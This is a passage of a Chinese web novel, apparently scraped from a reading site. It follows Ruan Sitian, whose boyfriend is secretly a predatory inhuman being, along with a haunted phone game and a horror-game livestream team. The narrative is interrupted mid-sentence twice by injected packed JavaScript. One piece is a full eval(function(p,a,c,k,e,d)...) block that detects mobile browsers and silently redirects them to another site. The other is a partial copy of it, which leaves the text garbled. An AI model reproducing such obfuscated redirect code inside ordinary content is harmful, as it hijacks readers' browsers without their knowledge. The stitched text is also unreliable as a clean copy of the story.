可真是没心没肺啊! 阮思甜有些心虚地想。 于是再次看向陆秋白时,她饱含爱意的目光就带了一丝不易察觉的讨好。 “怎么这么晚才到?”她听到自己的声音响起,那种恰到好处的关心,熟练得让她自己都有些恍惚。 “路上吃过东西了吗?” 陆秋白的视线落在她脸上,停顿了两秒。 那目光有如实质,带着微微的寒意。 “吃了一点。”他的声音低沉悦耳。 “外面的东西不合胃口吗?”帮他脱下西装外套挂上衣架后,阮思甜转身往开放式厨房走去,丝绸睡袍的下摆如水波微漾,“我给你准备点吃的,很快。” 在她转身的刹那,陆秋白的目光顺着她的脊柱线一路向下,滑过光裸的小腿,最后停在她纤细的脚踝上。 那里戴着一条镶绿钻的脚链。 * 厨房暖黄色的灯光亮起,阮思甜忽视了自动料理机,打算亲手给久别重逢的男朋友煮碗面条。 从冰箱中拿出牛骨高汤包后,她又翻出番茄、酸菜和牛肉片,而后开始切葱椒蒜。 蒜末在热油里翻炒时发出“滋啦”声,把菜下锅炒熟后,她又往锅里加入汤包和水。 汤很快煮沸,水汽氤氲升腾,冰冷空旷的豪宅里突然多了几丝人间烟火气。 陆秋白在岛台边坐下,他的脊背挺得笔直,双手交叠放在膝盖上,只是他的视线一刻也没有离开过她。 此刻阮思甜笼在一层柔软的光晕里,用人类的话语来说,那就是温柔而美好。 她隐约感觉到了那视线。 沉甸甸的,还有些黏腻,像是蛇的舌头从皮肤上慢慢舔过。 她卧刀的手指紧了紧,莫名有些害羞。 同时,一种隐秘的兴奋在心中悄然扩散。 色彩缤纷的汤汁在锅里咕嘟咕嘟地冒泡,最后,她撒上葱花,再淋上一小勺辣椒油,酸辣鲜香的气味立刻扑鼻而来。 好啦!出锅,完美! 心爱的女友亲自做的面条,能消除一切疲惫! 阮思甜微笑着把面条端到了陆秋白面前。 “快吃吧!”她侧身在他身边坐下,双手托腮,笑眼弯弯地看着他。 陆秋白没有动。 他探究似的低头看着那碗面,鼻翼微微翕动,像在分辨每一种味道。 食物的酸爽、辛辣,还有她指尖残留的沐浴露的清新橙香味。 “不饿吗?”阮思甜又问。 陆秋白终于抬起头,忽地转向阮思甜,倾身靠近。 他摘下眼镜放在一边,没有了镜片的阻隔,那双眼睛彻底暴露在灯光下。 茶褐色的眼眸中写满了她看不懂的情绪。 他就用这双眼睛看着她,然后很轻地摇了摇头。 “我只想看着你。”他说。 他的语气非常平静,平静地像是在进行商务报告。 但阮思甜还是觉得心口弥漫一阵甜意,脸颊微微泛红。 似乎还有别的可怕意思?这个念头一闪而逝,很快被她忽略。 “别闹,趁热吃!”她坚持道,把筷子强势地塞进了他的手里。 陆秋白握住了筷子。 他的手指修长而白皙,骨节分明,握筷的姿势优雅中透出一丝不易察觉的僵硬。 他夹起几根面条,却没有送入自己口中,而是递到阮思甜唇边。 他的眼神深邃,茶褐色的眸子在灯光下流转着动人的光,像是一种无声的邀请。 阮思甜的脸更红了,小声道:“我吃过了。” “再吃点!”他打断她,语气里带着一种生硬的关切,“你太瘦了。” 阮思甜与他对视两秒,妥协了。 汤汁滚过舌尖,酸辣鲜香在嘴中弥漫开。 她幸福地眯起眼,又示意陆秋白为她夹起一片牛肉,舀起一勺汤汁。 陆秋白的视线死死锁在她的嘴唇上。 那两片柔软的唇瓣被热汤浸润,泛着诱人的水光。 他看着她咀嚼时微微鼓起的脸颊,看着她吞咽时脖颈处喉管的细微滑动,他的喉结也随之重重滚动了一下,下颌线微微绷紧。 他突然伸出手,冰凉的指尖先是轻轻按在了她饱满的下唇上,然后才缓慢擦过她的唇角。 “沾到了。”他说。 明明动作很温柔,却又带着不容忽视的力度。 然后,他收回手,在阮思甜惊愕的目光中,将沾了红油的手指缓缓含入口中。 闭上眼,舌尖卷过指腹,品尝。 长而浓密的睫毛在他冷白的皮肤上投下一小片阴影,再睁眼时,暗红色的光芒在眼底一闪而逝。 “嗯,”他低声说,声音比刚才沙哑了一些,“是比外面的伙食要好吃!” 阮思甜的脸红了个透。 “你……你先去洗澡吧!”她猛地起身。 陆秋白看了她两秒,顺从地站了起来。 他走到浴室门口,开始解衬衫扣子。 阮思甜下意识跟过去,伸手想要帮他。 手指触碰到他胸前的纽扣时,隔着柔软的布料,她感受到底下冰冷坚硬的躯体。 他浑身肌肉骤然绷紧,那双眼睛猛地盯住她,瞳孔收缩。 她的手顿住了。 陆秋白很快恢复平静,脱下衬衫后递给了她,然后走入浴室。 门关上后,里面传来“哗哗”的水声。 * 浴室的水声停止了。 门打开后,陆秋白穿着浴袍走出。 阮思甜正抱着他脱下的衬衫,站在沙发边发呆,不知道在想什么。 听到开门声,她抬起头,映入眼帘的是一片动人的春光。 浴袍的带子松松系在他腰间,再往上,领口敞开,露出大片紧实白皙的胸膛。 柔软的黑发湿漉漉地贴在额前,水珠顺着他的下颌线滚落,滚过喉结,最后没入衣襟深处。 她的喉咙紧了紧。 半晌后,她恍然意识到自己在做什么,赶紧丢下衬衫,“赶紧去吹干头发,小心感冒!” 说完落荒而逃般,快步走入卧室。 陆秋白走过去,弯腰捡起衬衫。 他的动作很慢,手指抚过被阮思甜抱过的位置,那里似乎还残留着她的体温和微微的橙香。 接着,他把那处布料举到鼻端,闭眼,深深地吸了一口气。 * 主卧的灯是朦胧的暖黄色。 阮思甜躺在了床的右侧。 “咔嚓”一声,她听到门把手被拧动,随后有人走了进来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对于高维生物来说,他们的滋味并不美妙,只有那些低端下贱的生物沉迷于此。 可在这一刻,破天荒的,陆秋白产生了眼前这个人类滋味十分美妙的念头。 想要用牙齿在她脖颈处厮磨,那里有她跳动的脉搏;想要咬开皮肤,贪婪吮吸下面汩汩奔流的血液;想要握住那颗跳动的心脏,将它安在他空荡荡的胸膛。 想要将眼前这个人完全吞噬。 吞下去! 吞下去! 吞下去! 吞下去,她就永远是他的了! 她的温度,她的气味,她咀嚼面条时满足的表情,她碰到他时指尖轻微的颤抖,想要将这一切都融入他的身体。 残忍而疯狂的念头在他脑海中翻涌,他的手指微微蜷缩,眼眸在黑暗中泛起冷光。 只需要一秒,咬开那层柔软的皮囊,他就能永远拥有…… 阮思甜在睡梦中翻了个身。 她的手臂无意识地抬起,然后落下,正好搭在陆秋白的腰腹间。 陆秋白所有的动作戛然而止。 他低头,看着那条搭在自己身上的手。 她的手指纤细,指甲修剪得干干净净的,没有任何装饰。 她掌心的温度透过薄薄的浴袍布料,传到了他冰冷的皮肤上。 温暖而鲜活。 带着一种他没有的生命力。 另一种欲望从心中翻腾而起,不是吞噬,不是撕碎,甚至连他自己都不清楚那是什么。 他忽然想握住这只手。 这个念头令他困惑。 但陆秋白不是个会为难自己的存在。 指尖因克制而微微颤抖,片刻的犹豫和挣扎后,他缓缓抬起自己的手,覆在那只温热的手上方。 最终十指相扣。 “晚安。” 4. 心跳百分百(四) 阮思甜是被一种拖曳感弄醒的。 她迷迷糊糊地睁开眼睛,明亮的晨光透过玻璃洒在室内,而她的被子正诡异地向床尾移动。 抬头看去,罪魁祸首是一只黑色哈士奇。 它正凶狠地咬着她被子的一角,蓝色的眼睛散发着凶恶的光芒! 阮思甜脑袋发蒙,有些反应不过来。 哦,想起来了。 前一阵子她把狗送去参加宠物旅行团,享受了一段无狗在侧的悠闲生活,但昨晚陆秋白把它领了回来,于是邪恶动物再次入侵了她的生活。 清醒过来的她大怒,“臭狗!快松口!不要咬我的被子!”。 同时伸手扯住被子,与恶犬展开了艰难的拉锯战。 啊啊啊!这只狗又在用这种方式叫她起床了! 明明小时候会乖巧地坐在门口等她醒来,越长大越可恶! 不对,小时候也很恶劣! 当初买完狗取名时,陆秋白以眼神询问。 她苦思冥想很久,“要不就叫husky?或者西土恶犬?来自西伯利亚的小帅?” 男朋友面无表情,牵着狗绳的手却抖了一下。 她摸了摸鼻子,“开玩笑的,就叫哈哈好了,哈哈哈哈……” 狗子当即给了她一口。 思及往事,她越想越气,做出一个拿拖孩的动作。 见状恶犬急忙松开嘴,又咧开嘴吐出了舌头,一副“我错了下次继续”的表情,尾巴摇到飞起。 阮思甜用一种可以杀死狗的眼神看着它,一人一狗无声对视。 片刻后,她败下阵来,不得不认命起床。 男朋友已经去工作了。 阮思甜赤脚走到落地窗前,晨光将整个星海市镀上一层淡金。 她望向远处那一片高耸入云的建筑群,那是星海科技集团的总部。 最重要的是,那里有他。 作为集团最年轻的核心高层,他总有无休止的会议、跨国项目和不为人知的研究机密。 早出晚归、频繁出差是常态,能完整陪伴她的时间并不多。 她并没有什么不满意的,只因为他是陆秋白。 那个哪怕只是安静地站在人群边缘,也会吸引所有目光的陆秋白。 他出身百年望族,那种清冷矜贵的气度浑然天成,学识与谈吐令人折服。接手家族企业后,更以雷霆手段将业务拓展至前所未有的领域。 那张脸清俊而深邃,金丝边眼镜后的目光却总是平静而疏离,仿佛一切尽在掌控。 遇见他之前,阮家不过是星海市无数富裕家庭中的一个。 他的出现改变了一切。 如今阮家地位超然,这种近乎一步登天的际遇,连她自己都觉得恍惚。 像做梦一样。 阮思甜发了会儿呆,直到哈哈用鼻子拱了拱她的手,她才回过神。 不知道为什么,她忽然产生了一种强烈的冲动,一把将狗紧紧搂在了怀里。 狗子:? 眼眶酸涩,莫名想要流泪。 恶犬十分通人性,感应到她的情绪后,它不再调皮,温柔地舔了舔她的脸。 阮思甜边摸狗头边抱怨:“臭狗,不要舔我!” 狗子:! 这股奇怪的情绪来的快去的也快,很快她放开狗,说道:“饿了吧?我们去吃早饭。” 恶犬“嗷呜”一声欢呼,跟着她往外走去。 * 上中下三层的房子已被打通,顶层是花园,中间是生活区,底下则是办公和学习区。 既有隐私的考虑,也为生活方便,最主要的是,这样安排可以最大程度防止狗影响到邻居。 墨菲斯早已安静地站在厨房里,脸上是标准化的温和表情。 “早安,小姐。您和您爱犬的早餐已经准备好。” “谢谢。”阮思甜在餐桌边坐下。 尽管已相处数年,对待仿生人,她的态度礼貌而疏离。 内心深处,她总觉得对方再逼真也是工具,表面的尊重不过是教养使然。 哈哈大口大口地吃着狗粮,看得阮思甜的胃口也开始变好。 正吃着早餐,手机忽然震动。 是哥哥的来电。 “甜甜,早上好!”阮思宁的声音带着显而易见的讨好,“帮我看下这几个文件嘛,那边催得急,我头都要大了!” “发过来!” 她顾不上吃早餐,往楼下走去。 “对了,帮我问问爸妈,他们什么时候有空,我带阿白回去吃个饭。” “嘶……嘶嘶……” 温度莫名降低了几分,寒意侵入皮肤,带来密密麻麻针扎般的疼痛感。 眼角余光中,似乎连光线都变得黯淡了几分。 黑色的雾气弥漫,丝丝缕缕如墨在水中洇开,雾气中一切都扭曲了几分,墨菲斯那张微笑的脸有一瞬间的崩裂。 阮思甜眨了眨眼睛。 “喂,甜甜,怎么了?” “你那边怎么了?信号这么差?” “信号差?不会吧?很正常啊!” 正常得仿佛刚才的一切都只是一场错觉。 “不说啦,我还有事,挂了挂了……”哥哥迫不及待地挂掉了电话。 “欧尼酱~~~” 余音中,她听到对方背景音里隐约传来甜到发嗲的声音。 阮思甜沉默了。 估计是熬夜带来的后遗症。她想。 随即又感叹,这大清早的,她哥哥的胃口简直比邪恶哈士奇还要好! 阮思宁胃口的确好。 众所周知,他是个风流倜傥的人渣美男子,一个月要换好几个女人那种!喜新厌旧的速度令人发指! 对于那些离谱的谣言,他本人则十分无所谓。 作为一个沉迷于galgame的阿宅,私底下他就是喜欢被纸片人老婆们左拥右抱怎么了? 阮思甜表示你高兴就好。 表面上,他们家的产业是由哥哥管理的,实则重大决定都得由她拍板。 父母从小就把哥哥当继承人培养,对她则是宝贝女儿要富养。 公平起见,他们还去一家可以用科技测量天赋的公司,为两个孩子检测了一番。 “嗯,果然思宁更适合……” 整个流程令人无话可说。 “思宁啊,”父母总是摸着哥哥的头,“你是长子,要担负起责任,还要爱护妹妹。我们全家得拧成一股绳,才能齐心协力走得更远。” 幼年的阮思甜明白,那条绳的核心是哥哥,而她不过是绑在绳上装饰用的缎带。 大抵父母的口水话说得太多,阮思宁起了反骨,经常对阮思甜恶语相向。 阮思甜没闹。 她是个冷静而主动的姑娘,并不喜欢沉浸在受害者叙事中。 做人么,就是要抛开一切无用的软弱情绪,用一切方法达成自己的目的。阮思甜如是想。 就像父母说的,他们是一家人嘛!要和谐友爱! 有问题的话,当然是从内部解决啦! 从那时候开始,阮思宁就开始受到附近所有孩子的排斥与毒打,伤口过于隐秘,令他有口难言。 而他众星拱月的妹妹总会恰到好处 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随即,一个球“咕噜噜”地滚了过来,她明白这是狗大爷无聊了,要求陪玩的意思。 阮思甜看看时间,还早。“行吧,陪你玩会儿。” 她带着哈哈乘坐室内电梯直达顶层,电梯门打开,映入眼帘的是一片空中花园。 这里划分为好几个区域,每个区域温度不同,种植不同季节的植物。 在最东边那片花园的尽头,有一片宽阔的泳池。 它的一侧与墙齐平,视觉上水天相接,水波在天光中闪耀,游泳时仿佛游向城市的天际线。 边上还铺了大片柔软的人造草坪,以及一个嵌入式饮品吧台和烧烤架子。 楼层边缘是特制的透明玻璃护栏,六十八层的高度可将星海市的风光一览无遗。 这里远离人群,十分安静,夜晚星辰似触手可及,有一种奢华的寂寞感。 平心而论,阮思甜并不喜欢住在这里,所以并不是经常回来。 阮思甜拿起球,用力扔出。 狗子如离弦之箭冲出,精准接中,小跑着回来。 将球放入她的掌心后,它仰头等着被夸。 “哇,好厉害,”阮思甜摸了摸它的头,投喂了一小根肉干,“阿白还真把你训练成哈士寻回犬了。” 玩了好一会儿,哈哈累得趴在她脚边,吐着舌头喘气。 阮思甜喂它喝完一点水后,懒洋洋地在户外沙发里坐下。 她拿起手机,解锁,目光落在那个心脏图标的app上。 指尖停顿在图标上方,她的心跳莫名加快。 不知为何,那图标今天看起来格外鲜艳,图标上心脏跳动的节奏,似乎与她此刻的心跳隐隐重合。 咚! 咚! 咚! 片刻后,心跳缓缓平复,她才点了进去。 指尖触及屏幕的瞬间,一股微弱的冰冷刺痛感顺着指尖倏地往上窜,快的像是幻觉。 她皱了皱眉,甩开这莫名的感觉。 在此刻的记忆里,这是她和男朋友一起用来云养电子宠物的。 他扮演严厉的公司老板,她则是幕后的投资人。 昨晚那些诡异的记忆,此刻早已被这个甜蜜的设定覆盖。 她没有注意到,身后泳池平静的水面,在她进入游戏的刹那,无声地荡漾开一圈涟漪。 那涟漪中心倒映出的,不再是天空,而是一片深邃的、仿佛有什么巨大生物游弋而过的深蓝。 5. 心跳百分百(五) 也许是实时感应的缘故,载入界面由昨晚的黑色变成了天蓝色,上面还飘着几朵白云。 指尖触碰时,那一片天蓝如水波般微微晃动,泛起一圈圈涟漪。 阮思甜怔了怔,下意识看向身后的泳池。 水面平稳如镜,倒映着碧空流云。 再抬头看向天空,那绵软的云似触手可及。 伸出手指,仿佛下一刻,只要轻轻一点,天空就会如水面那样荡漾开。 她摇头失笑,在想什么呢? 涟漪散去时,画面加载完成。 高耸的手绘风科技大楼再次出现于眼前,比之前要华丽许多。那线条流畅而阴森,尖顶快要刺入天空。 点击进入后,大楼内部比她想的要热闹许多。 前台区域,章鱼小姐姐可谓是忙到飞起。 阮思甜数了数,发现她有五只眼睛和七条触手,每只眼睛都戴着颜色不同的美瞳,每条触手上的嘴巴也都擦了不同色号的口红。 这是个诡异而艳丽奇特的q版形象,非常引人注目。 真不愧是公司的门面担当! 很快,她发现这位门面担当,实力也强悍的吓人。 电话铃声此起彼伏,每一条触手都能第一时间回应。 “您好,深渊科技,预约请按1……” “总裁今天没有时间,什么,您说您是梦魇灵师?稍等,我查下名单!” “哈?您说我是您见过的最奇怪的克系生物,可真是谢谢您呢!请问您又是什么品种的预制人呢?” “投诉部在负十八层,自己跳下去呗!” 看着气泡框内的文字,阮思甜觉得非常有趣,忍不住伸手摸了摸她。 被触摸的那瞬间,章鱼小姐似乎察觉到了她的存在。 她的五只眼睛齐刷刷转了过来,并触电般扔掉了手中的听筒,触手们优雅地交叠在身前,努力摆出一副端庄淑女的样子。 只是触手尖端比出的一个个心,出卖了她那热情洋溢的内心。 阮思甜又忍不住摸了摸她。 啊啊啊啊!好可爱好可爱好可爱! 不过她是不是打扰到人家工作了? 意识到这一点后,阮思甜默默划走,打算看看别的地方。 * 她并不喜欢循序渐进地探索,而是随意点开了一小块地图,这样总令人觉得,有种开盲盒的快乐感。 眼前这片开放式区域是市场部? 几个漂浮着的、圆滚滚的透明球状生物正在打电话,它们浑身上下只有一张嘴,别无其它。 “尊敬的客人,考虑一下我们新推出的永恒噩梦套餐吗?每一晚都将给您带来刺激无比的体验!” “最近我们在搞活动,只要拍下这个套餐,免费附带鬼压床服务!” 圆球们声嘶力竭地喊道。 而这时,旁边一株有宽大叶片的q版植物挤了过来,张开狰狞的嘴说道:“客人!别听它的!我们午夜心跳血肉横飞套餐现在正在打八折!” “第一年附赠一张美的遗像,续费后每年都将赠送神秘盲盒……” 阮思甜本以为那是装饰用的植物,谁知道居然也是员工。 圆球怒了,“抢我们客户!找死!不会去开拓新市场吗?” 植物理所当然道:“自己去找多累啊,有现成的为什么不抢?” 她听得目瞪口呆,却又觉得,还真有几分道理。 * 研发部是一群q版大脑形状的小人,安安静静的。 它们漂浮在一堆堆数据中,粉色的大脑表面延伸出无数细小的神经纤维,每一条都在疯狂蠕动、纠缠,迸发出奇思妙想。 作为高端脑力劳动者,它们的感知明显比外面那些家伙要敏锐的多。 当她的视线扫过时,所有小人同时颤动,气泡框里的想法停止了片刻。 随后,它们开始疯狂地冒出一个个粉色的爱心泡泡。 这游戏不但交互方面做得很好,设定也很有意思啊! 甚至有一个小人,还用实验室的素材为她编织了一朵玫瑰。 阮思甜伸手接过,小人身上立刻又冒出一堆激动的爱心泡泡! 正好呢! 她还愁没有礼物可以送给她的小狗,这下有了! 想到她的小狗q版人,阮思甜失去了继续探索下去的兴趣,转而去寻找他。 她的小狗真是太了不起了! 这才多久啊,他就招募到这么多才华横溢各有特色的员工,把一个空壳,咳,不是,一个新起步的公司经营得这样有声有色! 按游戏设定,总裁办公室是不是应该在最高的地方? * 很快,她就找到了他。 游戏画面切换到顶层的总裁办公室,黑白的冷色调果然很符合他的品味。 巨大的落地窗外是手绘风的都市景色,诶,从这里可以看到对面那栋超高层的小区!和她住的小区有点像呢! 除了必要的办公设备,这里空旷得有些寂寥。 宽大的办公桌上摆放着一份文件,而她冷酷的小狗就坐在办公椅上,对着那份文件发呆。 此刻,那对毛绒绒的耳朵正无精打采的耷拉着,整只狗散发出一股“不想上班”的气息。 阮思甜心软了,戳了戳他的耳尖。 他的耳朵“唰”的一下竖了起来,迅速坐直,冰冷厌世的表情一下子切换城“严肃认真”的样子。 接着,他托了托金丝边眼镜,开始一本正经地翻阅桌面的文件,眼神无比专注。 你拿反啦! 阮思甜感到好笑,却又坏心眼地没有提醒他。 “啊,真是一只认真的小狗!” “太了不起啦,怎么会这么棒呢,我好喜欢你!” “送你花花……” 她的话语转变成一行行文字,出现在背景旁白中。 小狗紧抿的嘴角忍不住微微弯起,意识到这一点后,他立刻压下笑意,重新恢复成面无表情的样子。 他放下文件,看着从天而落的玫瑰,头顶冒出简短的三个字。 “放这吧!” 好冷酷啊! 不过气泡框的颜色出卖了他的真实心情。 诶,是粉色的! 随后她发现,他的耳尖开始发红。 阮思甜又忍不住对他上下其手,还在他震惊的目光中,揉乱了他银色的头发。 她玩得不亦乐乎,没有看到那双深邃的眼眸里,一闪而逝的无奈和纵容。 “好啦,不闹了!你工作吧!” “要努力赚钱呀,我还等着花你的钱呢!” 随后打开商城页面,看着刷新出的一些食品,她点了杯【元气满满狗咖啡(总裁特供版)】。 小狗看了看咖啡,又看了看屏幕。 随后,他伸出手,十分矜持地抿了一口。 明明只是q版人,她却觉得可爱到让她的心都要化了! 啊啊啊!小狗真的是太香了! 每天都要玩弄他! “沾到嘴角了哦!”阮思甜起了坏心思,决定逗逗他。 闻言小狗捧着咖啡,一下子僵住了。 小狗也会这么在意自己的形象吗? 阮思甜心中偷笑,随即她伸出手,装模作样地在他的嘴角擦了擦。 小狗一副不知所措的表情。 擦完后,她将手指放到鼻端,“真的很香!” 小狗耳尖爆红。 “哦,我说的是咖啡!” * 小狗开始巡视公司,努力营业。 总裁威压所过之处,员工们噤若寒蝉。 巡视完后,公司里一片哀嚎。 “假期!我们的假期!为什么要扣除我们的假期!我们只是被投资人小姐多看了一眼而已,呜~” 而送玫瑰给阮思甜的小人正风中凌乱。 它用大量生命元力编织的玫瑰,被投资人小姐送给了可怕的总裁大人,而它的工位上还多出一张“行为不端,扣除一个月工资”的处罚单。 这难以言喻的悲伤是怎么回事? 芜湖!可恶的小心眼资本家!诡生艰难,牛马的生命不能承受如此之重! 而阮思甜并没有注意到这些,她正打开那份文件,尝试查看。 居然真的能打开? 游戏的细节设定好棒。 那是一个在星海市建设海滨度假村的方案。 海边度假村? 她划动了几下地图,才发现已解锁了海边区域。 * 春日的风吹过星海市的天空,风里有只振翅而飞的白鸟。 它自由的身影消失在去往海边的方向。 看着屏幕上那片广阔的蓝,阮思甜忽然觉得,手机里的海再美,也比不上真实的海风吹过时,那种浸润身心的感觉。 退出游戏后,她飞快做出一个决定。 她要去海边! 陆秋白还在工作,不可能抽出时间陪她。 于是她一一给几个朋友发了消息,她们的回复出奇地一致: “抱歉啊,思甜,最近抽不开身。” “哎呀,我在外地培训呢,下个月才回……嘶……” 似乎又听到那种奇怪的故障声。 她看着屏幕,心里掠过一丝异样。 这些朋友什么时候变得这么忙了? 这时候,哈哈跑了过来,又用它的嘴拱了拱她的手,然后将头搭在了她的手心。 阮思甜挠了挠它的下巴,狗子舒服得眯起了眼睛。 看着它的脸,她想,要不就带着哈哈出去放放风? 那辆故障的车被送去维修了,不过就算修好了,她应该也不敢再用。 从车库里挑了另一辆手动驾驶的车后,她打开车门,狗子熟练地跳上了副驾驶位。 沿海公路的风景很美,海水在阳光下闪耀着金色的光芒。 驶过某个弯道时,一块巨大的广告牌映入眼帘。 上面是海滨度假村梦幻般的概念图,尚未建成,宣传的架势已是铺天盖地。 下面还有一行小字。 海蓝时见鲸,梦醒时见你。 和游戏里的计划书很像。 看来,这款游戏的开发者是本市的人,在游戏里塞入了一个个和现实相关的彩蛋,让人会心一笑。 的确很有意思! * 这片海滩不是热门旅游区域,游人不多。 停好车后,阮思甜找了个偏僻的地方,开始遛狗。 狗子一到沙滩上,就撒开腿狂奔, 她在一块干燥的礁石上坐下,看着它疯玩。 腥咸的海风迎面吹来,她想起这片海其实有很糟糕的过去。 很多年前,这里有鲸群出没,巨大的影子在这一片深蓝中沉浮。 后来它们遭到了人类的捕杀。 再后来,面对濒临破产的经济,星海市引入了大量重污染的企业,它们沿海而建,污水直接排进大海。 就算是这样,也没能拯救这座摇摇欲坠的古老城市。 直到星海科技的出现。 讽刺的是,科技的爆炸式发展让大量底层人谋生艰难,这座城市却繁荣而璀璨,环境也得到了保护。 不过治理污染并非一朝一夕的事,花了几十年的时间,海水才慢慢变蓝。 但鲸鱼再也没有回来。 也许以后会出现吧!就像星海科技许诺的那样。 又或者,他们干脆搞出什么人造鲸、机械鲸或者鲸鱼投影来糊弄别人,也说不定。 狗子用头顶了顶她的手。 她低头,发现脚下已经堆了一小堆贝壳,而它嘴里还咬着一个。 “是给我的吗?” 她伸出手正要接,它一下子将头扭开,明晃晃的拒绝。 而当她朝那堆贝壳伸手,狗子急忙低头护住。 “你有这么多,给我一个都不行?”她的语气里满含惊讶。 所以你把它们堆在我的脚边干什么?! 呵,小气!臭狗! 阮思甜快要被气笑了,果断伸手抓住了狗子的皮毛,与它开始打闹。 “思甜?” 一个熟悉的声音传来,带着刻意的惊讶。 阮思甜松开狗子,转过身。 徐媛正站在不远处,身上还穿着那间印有环保组织logo的T恤,手里拿着半个没发完的宣传册。 她身后跟着几个同样打扮的志愿者,正用好奇的目光打量这一人一狗。 “真巧。”徐媛走近几步,目光扫过她价值不菲的穿着打扮,又扫了一眼那堆贝壳,最后落在那只哈士奇身上,“来海边捡垃圾?” 她玩笑着说道,话里的讽刺怎么也藏不住。 阮思甜站起身,拍了拍身上的沙子,与狗相处时顽皮的样子消失,重新变得端庄得体。 因为有人过来,她给狗套上了狗绳。 “来看海,顺便等鲸鱼。” “鲸鱼”这两个字说出口的瞬间,徐媛脸上的笑容僵了一下。 有什么东西在她脑海里划过,像深水里的鱼影,快到抓不住痕迹。 明明是温暖的春天,她却忽然觉得海风有点冷。 “这片海早就没有鲸鱼了。”徐媛很快恢复常态,语气里带上了几分圈内人的优越感,“最后一条在三十年前被捕杀。” “现在环境虽然好了点,但生态的恢复不是一朝一夕的事。” “真正关心大海的人都知道,而且真正有环保意识的人,应该关注的是污染防控、垃圾清理——” “所以你们在清理垃圾?”阮思甜打断她的长篇大论,目光落在徐媛手里那叠宣传册,和远处活动用的横幅以及别的道路上,“你们环保活动用的那些道具,很多材质本身并不环保吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959063|193275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “活动结束后,这些东西怎么处理?又制造一堆新的垃圾?” 徐媛不悦道:“我们当然会妥善处理,重点是理念的传播!” “理念很重要,”阮思甜点头,语气依然温和,“说到这个,前几天慈善晚宴,我见到你母亲了。她拎的那只包是真皮的吧?我记得是某种保护动物来着。” “还有你父亲,他好像特别喜欢收集珍稀……” 家人的奢侈像是徐媛无法切割的原罪,她既依赖那份财富带来的生活,又不得不在公开场合与之切割。 边上零零散散围了一些游客过来,阮思甜当着这么多人的面戳破这一点,让她心中恼羞成怒。 “阮思甜!”徐媛怒道,“你什么意思?我父母的习惯和今天的公益活动有什么关系?” “你自己开着天价的跑车,养着名贵的犬种,过着奢侈的生活,却在这里对我们普通人的环保努力指手画脚?你以为你是谁?” 周围人看向两人的眼神十分微妙。 阮思甜静静听完,脸上没有丝毫怒意。 她甚至向前走了半步,靠近徐媛,用只有两人能听清的音量开口,声音轻柔的如海风吹过。 “阿媛,你还是老样子。” “一心虚,嗓门就会变大。” “像小时候那样。” 她顿了顿,看着徐媛瞳孔开始微微收缩,继续用那种温和到残忍的语气说话。 “好像声音够大,就真的能……盖过地下室的敲门声一样。” 徐媛张大了嘴,发不出任何声音。她踉跄着后退了半步,胃部突然一阵痉挛。 遥远的记忆中,似乎真的传来了沉闷的敲击声。 她的脸色由红转白。 阮思甜没有再说什么,弯腰捡起狗子的劳动成果,塞入了包里。 狗子好奇地看了看徐媛,又看了看阮思甜。后者拍了拍它的脸,“名贵犬种,回去了,听到没有?” 对于自己成为名贵权种的事,狗子一脸懵逼。 一人一狗的身影渐渐消失,周围的人也散去了。 其他志愿者询问过徐媛,得知不需要帮忙后,继续开始忙活。 徐媛站在原地一动不动,不知道在想什么。 * 不远处的海滨观景台。 文雪放下望远镜,推了推眼镜,“对话听不清,但徐媛的情绪波动很大。” 赵杰皱眉,“雪姐,刚才你为什么要阻止我靠近他们?本来安个监听的事。” 弹幕适时飘过。 【新人求问,我也不明白为啥不上去安窃听器啊?多好的机会。】 【因为那边有个疑似副本陷阱的高危npc呗!雪姐是个谨慎的人,小心点没错!】 【就文雪那货色,还一堆人捧她臭脚呢!这npc怎么就不能是生路线索了?这点胆量都没有,一辈子在低级本里苟着吧!】 【放屁,你行你上啊!别一个c级本都过不了吧!】 【哪来的垃圾,竟敢污蔑我雪姐……】 文雪只是静静地看着赵杰。 江敛犹豫了会,小心翼翼地试探着说道:“是……那条狗的问题吗?” 赵杰冷冷地扫了他一眼。 陈野纳闷,“不就一个二哈吗?” 颜乐道:“不对,不是普通的哈士奇,我也觉得那条狗不对劲,但又说不出来。” “是死气。”文雪看了颜乐一眼,冷静的目光中暗含赞许之色,“那条狗的身上有一丝很淡的死气。” 赵杰惊叹道:“哟,颜乐,你这直觉和观察力够可以啊!” 颜乐自豪道:“那当然啦,我超厉害的!不过杰哥和雪姐更厉害,哈哈哈……” 随即赵杰和颜乐开始玩笑似的相互吹捧。 尽管过往已习惯被忽视,江敛心中还是有一点尴尬和难过的情绪。 他茫然地转头,想找陈野说说话,却发现对方已经走开,在不远处大口大口地吃着烧烤,一副没心没肺的样子。 江敛低头,将所有情绪掩下,谁知颜乐忽然靠近:“江敛,我觉得你也很不错!” 他磕磕巴巴地道谢,心中对这个美貌又开朗的少女多了些说不出的感激。 【这妹子真可爱,人也敏锐!】 【你们没发现吗?连雪姐似乎都挺喜欢她的。】 【真是难得,雪姐很少对人表露出情绪。】 文雪缓缓说道:“不要因为这是个c级新人本,就掉以轻心。” 赵杰附和道:“雪姐说的对,小心点没错。那女人出现的时机就很可疑,而且她本人总给我一种怪怪的感觉,还是保持距离为妙,不然像阎风一样翻车就太可笑了。” 【阎风是谁?】 【一个看到副本里美貌npc就忍不住往上凑的人渣,哦,对了,他男女不忌的。】 【好惨,这败类直接导致他们团队翻车。】 【唉,这色胚不是个例,副本里这种货色还有一堆】 【坑啊!我看这姓江的保不齐就是下一个……】 * “盖过地下室的敲门声……” 这句话像扎根在她脑子里一样,怎么也无法抹去。 春日的海风吹过,凉意一点一点沿着皮肤钻入,渗透,徐媛心里一阵一阵发冷。 一种强烈的情绪从心底浮现,混杂着难过、愧疚和恐惧。 她不明白自己为什么会有这种情绪。 阮思甜!一定是阮思甜的缘故! 